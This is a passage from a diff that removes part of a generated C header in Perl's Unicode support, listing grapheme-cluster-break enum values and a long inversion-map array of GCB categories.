GCB_E_Base_GAZ = 4, - GCB_E_Modifier = 5, - GCB_Extend = 6, - GCB_Glue_After_Zwj = 7, - GCB_L = 8, - GCB_LF = 9, - GCB_LV = 10, - GCB_LVT = 11, - GCB_Prepend = 12, - GCB_Regional_Indicator = 13, - GCB_SpacingMark = 14, - GCB_T = 15, - GCB_V = 16, - GCB_ZWJ = 17, - GCB_EDGE = 18 -} GCB_enum; - -static const GCB_enum _Perl_GCB_invmap[] = { /* for ASCII/Latin1 */ - GCB_Control, - GCB_LF, - GCB_Control, - GCB_CR, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_L, - GCB_V, - GCB_T, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Extend, - GCB_ZWJ, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_L, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_LV, - GCB_LVT, - GCB_Other, - GCB_V, - GCB_Other, - GCB_T, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Prepend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Prepend, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Prepend, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Prepend, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Control, - GCB_Other, - GCB_Extend, - GCB_SpacingMark, - GCB_Extend, - GCB_Other, - GCB_SpacingMark, - GCB_Extend, - GCB_Control, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Extend, - GCB_Other, - GCB_Regional_Indicator, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Modifier, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base_GAZ, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_Glue_After_Zwj, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - GCB_E_Base, - GCB_Other, - 